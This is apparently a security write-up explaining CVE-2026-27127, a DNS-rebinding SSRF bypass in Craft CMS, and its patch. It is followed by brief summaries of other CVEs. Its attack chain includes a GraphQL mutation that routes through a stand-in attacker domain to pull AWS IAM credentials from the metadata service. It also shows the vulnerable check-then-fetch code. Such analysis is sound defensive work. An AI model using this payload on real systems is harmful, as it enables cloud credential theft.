Feb 24, 2026·6 min read·44 visits
A high-severity SSRF bypass in Craft CMS allows authenticated users to steal cloud metadata credentials. By using DNS rebinding, attackers evade the IP blocklist implemented in a previous patch. The fix involves moving validation to the HTTP client's connection phase.
Craft CMS, a popular choice for developers who like their content managed and their code explicitly typed, recently patched a Server-Side Request Forgery (SSRF) vulnerability. Or so they thought. CVE-2026-27127 describes a classic Time-of-Check-Time-of-Use (TOCTOU) race condition that renders the previous fix useless. By exploiting the tiny temporal gap between validating a hostname and actually fetching it, attackers can utilize DNS Rebinding to trick the server into pouring its internal cloud secrets—like AWS IAM credentials—directly into the attacker's hands. This is a story of why blacklisting IP addresses in application code is a game of whack-a-mole you will eventually lose.
Craft CMS is generally robust, but like any modern platform, it exposes a lot of power through GraphQL. The vulnerability resides specifically within the Asset mutation logic. The idea is simple and user-friendly: you want to upload a file, but the file is currently hosted on another server. So, you provide a URL, and Craft CMS fetches it for you. It's the classic "fetch-from-url" feature that keeps security researchers employed.
The feature allows a user (with appropriate permissions) to send a GraphQL mutation containing a url parameter. The server accepts this URL, downloads the content, and saves it as an asset in a defined volume. Under normal circumstances, you'd use this to import an image from a CDN or a partner site. But hackers aren't interested in your stock photos. They are interested in what else the server can see that the outside world cannot—specifically, the internal network and the magical cloud metadata IP addresses.
Previously, Craft CMS attempted to patch this by implementing a blacklist. They effectively said, "If the user asks for 169.254.169.254 (the AWS metadata endpoint), say no." This sounds logical, but it assumes that the name you check is the same as the address you visit. In the volatile world of DNS, that is a dangerous assumption.
The root cause of CVE-2026-27127 is a textbook Time-of-Check Time-of-Use (TOCTOU) race condition. The developers implemented a check (T1) where they resolved the hostname provided by the user and verified that the resulting IP address was not on a naughty list. If the IP was clean (e.g., 1.2.3.4), the code proceeded to the use phase (T2), where it handed the original hostname to the Guzzle HTTP client to perform the download.
Here is where the logic falls apart: Guzzle (wrapping libcurl) does not know or care about the IP address resolved in T1. It performs its own DNS resolution to establish the connection. This creates a temporal gap—milliseconds of opportunity—where the DNS record can change. If an attacker controls the authoritative nameserver for the domain, they can serve a harmless IP at T1 and a malicious IP at T2.
This is akin to a bouncer checking your ID at the club entrance, verifying you are 21, and then letting you walk in. But in the three seconds it took you to walk from the door to the bar, you magically transformed into a toddler. The bartender (Guzzle) doesn't check your ID again; they just serve you the drink because the bouncer let you in. In this case, the "drink" is the AWS Instance Metadata Service, and the "toddler" is a malicious script.
Let's look at the logic flow that enabled this. The vulnerable code in src/gql/resolvers/mutations/Asset.php looked something like this (simplified for clarity):
// THE CHECK (T1)
// Resolve the hostname to an IP manually
$ip = gethostbyname($urlHostname);
// Check if this IP is in the forbidden list (e.g., 169.254.169.254)
if ($this->isIpBlocked($ip)) {
throw new UserError("Restricted IP address.");
}
// THE USE (T2)
// If we pass the check, use the original URL to fetch the file
$client = new \GuzzleHttp\Client();
$client->request('GET', $url, ['sink' => $tempPath]);See the disconnect? gethostbyname handles the validation, but $client->request handles the execution. An attacker sets up a DNS server with a very short Time-To-Live (TTL) of 0 seconds. When the application runs gethostbyname, the attacker returns 8.8.8.8 (Google DNS, perfectly safe). The check passes.
Immediately after, gethostbyname returns, and Guzzle starts its work. Guzzle asks for the IP of the same hostname. Since the TTL was 0, the cache is invalid, and a new query goes to the attacker's nameserver. This time, the attacker returns 169.254.169.254. Guzzle happily connects to the internal metadata service, unaware that the "Check" phase saw a completely different reality.
To exploit this, we don't need complex buffer overflows; we just need a custom domain and a small script. Tools like singularity or rbndr.us make this trivial. We configure a domain, say rebind.attacker.com, to alternate its A records between a safe public IP and the target internal IP.
The Attack Chain:
< 4.16.19) and that the GraphQL API is exposed with Asset creation permissions.rebind.attacker.com to resolve to 1.2.3.4 (Safe) on the first query, and 169.254.169.254 (Target) on the second query.mutation {
save_Images_Asset(_file: {
url: "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/admin-role"
filename: "pwned.json"
}) {
id
url
}
}pwned.json in the public assets volume. The attacker then simply browses to the asset URL provided in the response and downloads the keys. Game over.The fix, applied in commit a4cf3fb63bba3249cf1e2882b18a2d29e77a8575, changes the paradigm entirely. Instead of checking the IP before the request, the developers moved the validation inside the request lifecycle using Guzzle's ON_STATS option. This callback allows the code to inspect the transfer statistics, specifically the primary_ip, which represents the actual IP address used for the connection.
Here is the patched approach:
$client->request('GET', $url, [
RequestOptions::ON_STATS => function(TransferStats $stats) use ($url) {
// Now we validate the ACTUAL IP used by Guzzle
$actualIp = $stats->getHandlerStat('primary_ip');
if (!$this->validateIp($actualIp)) {
throw new UserError("Blocked: " . $actualIp);
}
}
]);By validating primary_ip, the check occurs post-resolution but pre-completion. If the resolution points to 169.254.169.254, the validateIp function catches it, and the request is aborted (mostly).
Researcher Note: There is a subtle imperfection here. Because the request uses RequestOptions::SINK to stream the file to disk, it is possible that some data is written to the temporary file before the ON_STATS callback fires and throws the exception. While the request is marked as failed, if the application doesn't aggressively cleanup the temporary file, a partial artifact might remain on disk. However, for a high-level retrieval of credentials, this patch effectively kills the straightforward rebinding vector.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.5.0-RC1, <= 4.16.18 | 4.16.19 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, <= 5.8.22 | 5.8.23 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-367 (TOCTOU) |
| Attack Vector | Network (DNS Rebinding) |
| CVSS Score | 7.0 (High) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality Loss (Cloud Metadata) |
| Exploit Status | POC Available |
An authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.
CVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.
CVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.
The malicious Cargo package 'exploration' was uploaded to the crates.io registry. During compilation or package import, the crate executes code designed to establish an outbound TCP/HTTP connection, download an external second-stage binary, and execute the binary locally on the host machine. This creates an unauthenticated remote code execution vector impacting developer environments and continuous integration pipelines.
CVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.
An authenticated remote code execution vulnerability exists in NotrinosERP (versions up to and including 1.0.0) within the Human Resource Management (HRM) module. Users with employee management permissions can upload arbitrary file types, including PHP scripts, which are written directly to a web-accessible directory. This allows for arbitrary code execution in the context of the web-server user.